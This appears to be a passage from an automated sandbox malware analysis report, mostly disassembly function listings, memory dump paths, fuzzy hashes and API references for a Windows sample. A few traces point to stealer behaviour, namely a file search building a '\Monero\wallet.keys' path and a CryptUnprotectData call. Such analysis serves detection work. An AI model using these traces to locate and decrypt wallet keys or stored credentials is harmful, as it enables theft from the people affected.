LocalAlloc.KERNEL32(00000040,00000000), ref: 004F9BA3
LocalFree.KERNEL32(?), ref: 004F9BD3

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 839a415059a3eb7ec3dfd13f79034a9c3b38cd1ddfa10d016790ba9564a8e601
Instruction ID: 75cdd3926e5456136ef0e9b38e05697b2d0038f6927fcf416427d9ea3ef3b3f1
Opcode Fuzzy Hash: 839a415059a3eb7ec3dfd13f79034a9c3b38cd1ddfa10d016790ba9564a8e601
Instruction Fuzzy Hash: 25110CB4A00209EFDB04DFA4D985EAE77B5FF88301F108569E915A7350D774AE10CF61

Function 008BCCE6 Relevance: 4.4, Strings: 3, Instructions: 678COMMON

Download Yara Rule

Strings

9Si, xrefs: 008BD196
;;o, xrefs: 008BCEF9
4xx, xrefs: 008BCE3D

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4xx$9Si$;;o
API String ID: 0-3926094218
Opcode ID: aacc9a527e32f30971218a64ebea836d4b2829a96a5faba2e87a500c4d8e4cb2
Instruction ID: 3e2187ad9fbe78991e7a40e6e467ab0ae5b710b3b94cb6b115e52e4b5ebb3482
Opcode Fuzzy Hash: aacc9a527e32f30971218a64ebea836d4b2829a96a5faba2e87a500c4d8e4cb2
Instruction Fuzzy Hash: D81228F3A082009FE704AE2DEC8576ABBDAEBD4720F1A853DE6C4D7344E53598058797

Function 008BDD05 Relevance: 4.1, Strings: 2, Instructions: 1624COMMON

Download Yara Rule

Strings

<*^, xrefs: 008BE275
j{, xrefs: 008BDD43

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <*^$j{
API String ID: 0-19929208
Opcode ID: efc442492b60239f380233a04df0a66112e666908b0961fc2647ee9da904fc93
Instruction ID: fed23d1266e9083e37858b983b91163eadde8995b3039569405abf09525abc3e
Opcode Fuzzy Hash: efc442492b60239f380233a04df0a66112e666908b0961fc2647ee9da904fc93
Instruction Fuzzy Hash: D8B2E7F360C204AFE708AE2DEC8567AB7E9EF94320F16453DE6C5C3744EA3598058697

Function 008B2553 Relevance: 2.6, Strings: 1, Instructions: 1304COMMON

Download Yara Rule

Strings

bw{}, xrefs: 008B25BB

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: bw{}
API String ID: 0-61486077
Opcode ID: efc0a2a6b928bef3fb8a41e71a92fae694fa08a66b84eb0ebcd00c5d9aa2c192
Instruction ID: 3964aeb77f6ffa88c99ecbfb6d4d21be1a924da963fd428b4a1bf00bd16253af
Opcode Fuzzy Hash: efc0a2a6b928bef3fb8a41e71a92fae694fa08a66b84eb0ebcd00c5d9aa2c192
Instruction Fuzzy Hash: F09209F3A0C2049FE3046E2DEC8567AF7E5EF94720F1A893DEAC5C3744E63598058696

Function 004FF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005115B8,00510D96), ref: 004FF71E
StrCmpCA.SHLWAPI(?,005115BC), ref: 004FF76F
StrCmpCA.SHLWAPI(?,005115C0), ref: 004FF785
FindNextFileA.KERNEL32(000000FF,?), ref: 004FFAB1
FindClose.KERNEL32(000000FF), ref: 004FFAC3

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 03346336898d7fd02173019d7da5bfbb6c38d6decdd15793050de163f285a64b
Instruction ID: 776d00acc2d1a53c1556232a0d7a74744868af3cff6c7c2609c4a89626e47ae0
Opcode Fuzzy Hash: 03346336898d7fd02173019d7da5bfbb6c38d6decdd15793050de163f285a64b
Instruction Fuzzy Hash: 4E11577180064EABDB14FB70DC59EED7B78BF50300F5086AAA51A564D2EF342B4ACB52

Function 007C4E1B Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

ixv$, xrefs: 007C4EA0

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ixv$
API String ID: 0-2028889308
Opcode ID: 401acf7d5fb588d4ea7aeaf94c7e864f8cb27a28fb0cda1148a39fce39dcde23
Instruction ID: cceff30dccee5413d8a839dd970fa92ef4919fa2c5cbb1d895c910e91776862b
Opcode Fuzzy Hash: 401acf7d5fb588d4ea7aeaf94c7e864f8cb27a28fb0cda1148a39fce39dcde23
Instruction Fuzzy Hash: B55128F3B086045BE3185D6DEC8177AB3D6EBC4320F1AC23DEA8597784EC7A58054195

Function 0098F5E9 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 825cdc6fccd06d50b4a8585fab0e8c9702d7ddb71e5aeced2edc31fb78bd518f
Instruction ID: fc3ba9aa0468bd69bda4014ce053e860ef557f3fb425018bef5fd5a36c19c7c4
Opcode Fuzzy Hash: 825cdc6fccd06d50b4a8585fab0e8c9702d7ddb71e5aeced2edc31fb78bd518f
Instruction Fuzzy Hash: 9961B0B251C604DFE3097A18ECA177AB7E5EB54320F261E3EE68387350EA3958509787

Function 00781F83 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b240f8640c301a1905b053480c9f24ee75d1152774a7e7b8f328faa6ac90135c
Instruction ID: 2d17e90056ff6abb3757f5cf550a82ac918ac53d958a1b9ed3ecdd9e7a90f0aa
Opcode Fuzzy Hash: b240f8640c301a1905b053480c9f24ee75d1152774a7e7b8f328faa6ac90135c
Instruction Fuzzy Hash: 856128B3A082049FE304AE39DD4577AFBDADFC4320F16893EEA84C7784E93558458796

Function 007D5A7E Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52072a0922a5c2bf3bea7f93a85580848ea8e7151ba165b5a7d7d49a125441f3
Instruction ID: c4c79261735de8b92236a7d499a3d1a7449423a9999104e6d50fad2a28a79168
Opcode Fuzzy Hash: 52072a0922a5c2bf3bea7f93a85580848ea8e7151ba165b5a7d7d49a125441f3
Instruction Fuzzy Hash: EE519BF3A082105FE7046E2DEC5177BB7EADBD4220F2A813DE9C893344F9355C024296

Function 009AB5DB Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e681af7c328c4f70d106cd5d8dc82e5e1c26ec69cd52a4ff77db2df0806c342
Instruction ID: 31bf7dbb641dad261e574403141abc75368a87c447235ec2339f465464208a22
Opcode Fuzzy Hash: 0e681af7c328c4f70d106cd5d8dc82e5e1c26ec69cd52a4ff77db2df0806c342
Instruction Fuzzy Hash: CA517BB210C608CFC3046E28DC5563AB7E5EBD2710F22493DD6C247B01FBB9185596C7

Function 00763EC1 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4af60057d3bd791a5c791b325f6690ebbc6fbf4d0995b654951c414554aaa799
Instruction ID: 8184a971f0089908a74a5ae9c1befff23b153b1dba73f3ab5608e3a5fa90d127
Opcode Fuzzy Hash: 4af60057d3bd791a5c791b325f6690ebbc6fbf4d0995b654951c414554aaa799
Instruction Fuzzy Hash: 2941F7F3A181204BF3189D3DEC8576BBAC9D794324F1B863DEA98D7784E8799C0582C5

Function 00867D7C Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1146ff09b2355ba9b082ed24615a2389708d821eeda917863666c30417ba4452
Instruction ID: 72cd9152a5eab924667f5bff64c33a1efd5fb3d625b5960bb98913636312da28
Opcode Fuzzy Hash: 1146ff09b2355ba9b082ed24615a2389708d821eeda917863666c30417ba4452
Instruction Fuzzy Hash: 1F41F7F3A081144FE310A92CDD4573AB7D6EFD4720F2A863DDB98C7780F53999058282

Function 008B82DA Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
